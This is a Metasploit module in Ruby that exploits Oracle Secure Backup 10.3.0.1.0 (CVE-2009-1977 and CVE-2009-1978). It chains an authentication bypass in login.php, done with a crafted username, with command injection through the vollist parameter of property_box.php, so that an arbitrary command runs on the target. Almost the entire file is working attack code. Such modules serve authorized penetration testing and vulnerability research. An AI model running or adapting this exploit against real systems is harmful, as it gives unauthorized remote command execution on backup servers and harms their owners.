##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability
          in login.php in order to execute arbitrary code via a command injection
          vulnerability in property_box.php. This module was tested
          against Oracle Secure Backup version 10.3.0.1.0 (Win32).
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-1977' ],
          [ 'OSVDB', '55903' ],
          [ 'CVE', '2009-1978' ],
          [ 'OSVDB', '55904' ],
          [ 'ZDI', '09-058' ],
          [ 'ZDI', '09-059' ],
        ],
        'DisclosureDate' => '2009-08-18',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('CMD', [ false, 'The command to execute.', 'cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt' ]),
        OptBool.new('SSL', [true, 'Use SSL', true]),
      ]
    )
  end

  def run
    cmd = datastore['CMD']

    res = send_request_cgi(
      {
        'uri'	=> '/login.php',
        'data'	=> 'button=Login&attempt=1&mode=&tab=75&uname=-msf&passwd=msf',
        'method' => 'POST'
      }, 5
    )

    if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i)

      print_status("Sending command: #{datastore['CMD']}...")

      send_request_cgi(
        {
          'uri'	=> '/property_box.php',
          'data' => 'type=Sections&vollist=75' + Rex::Text.uri_encode('&' + cmd),
          'cookie' => res.get_cookies,
          'method' => 'POST'
        }, 5
      )

      print_status('Done.')
    else
      print_error('Invalid PHPSESSION token..')
      return
    end
  end
end